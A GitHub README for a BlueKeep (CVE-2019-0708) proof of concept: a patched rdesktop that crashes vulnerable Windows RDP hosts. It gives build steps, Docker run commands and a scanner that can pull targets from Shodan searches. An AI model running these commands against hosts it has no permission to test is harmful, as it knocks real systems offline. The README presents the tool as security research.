Skip to content

Latest commit

 

History

History
84 lines (56 loc) · 2.87 KB

README.md

File metadata and controls

84 lines (56 loc) · 2.87 KB
Raw

CVE-2019-0708

Unauthenticated CVE-2019-0708 "BlueKeep" DoS PoC. All the credit goes to @JaGoTu and @zerosum0x0.

the code is provided without any warranty whatsoever, express or implied, and what you do with it is not my responsibility.

Metasploit Module

The Metasploit module has been pulled to rapid7:master.

msf5> use auxiliary/scanner/rdp/cve_2019_0708_bluekeep

rapid7/metasploit-framework#11869

RDPScan

If you're here for the C version of the scanner, check out ErrataRob's fork of this project which trims more fat and makes scanning a large range faster/easier.

https://github.com/robertdavidgraham/rdpscan

In this repo

A fork of rdesktop that will bugcheck a host that is vulnerable to CVE-2019-0708 Microsoft Windows Remote Desktop Services Remote Code Execution vulnerability. As it is unauthenticated, the PoC will not have reliable results for NLA hosts (which is a confirmed mitigation).

CVE-2019-0708 Scanner

Building and Running

There is a pre-made rdesktop binary in the repo, but is a normal rdesktop build process:

git clone https://github.com/perfectblue/CVE-2019-0708.git
cd CVE-2019-0708/rdesktop-fork-bd6aa6acddf0ba640a49834807872f4cc0d0a773/
./bootstrap
./configure --disable-credssp --disable-smartcard
make -j `nproc`
sudo apt install xvfb # to have a fake xserver lol
xvfb-run ./rdesktop 192.168.1.7:3389

This fork of rdesktop is only well supported on an X11 GUI Linux environment. Results will vary for other platforms. Please refer to the normal rdesktop compilation instructions or have a look at how the Docker image is built.

Docker Instructions

You can also build from source using the Dockerfile and then run rdesktop using that image:

docker build . -t cve-2019-0708:latest
docker run cve-2019-0708:latest 192.168.1.7:3389

To scan a subnet or hosts indexed by Shodan, build the Docker image and run scan_with_docker.py:

./scan_with_docker.py 'asn:ASXXXX port:3389'
Not a valid subnet. Trying to use as Shodan search terms ...
Shodan search returned 498 hosts, press enter to start scan
Vulnerable hosts:
x.x.x.x
x.x.x.x
[...]

./scan_with_docker.py 192.168.1.0/24
Vulnerable hosts:
192.168.1.28
192.168.1.30
[...]

Is this dangerous?

This tool is offered for legal purposes only and to forward the security community's understanding of this vulnerability. As this PoC actively exploits the vulnerability, do not use against targets without prior permission.

Contributors

License

rdesktop fork is licensed as GPLv3.

Metasploit module is licensed as Apache 2.0.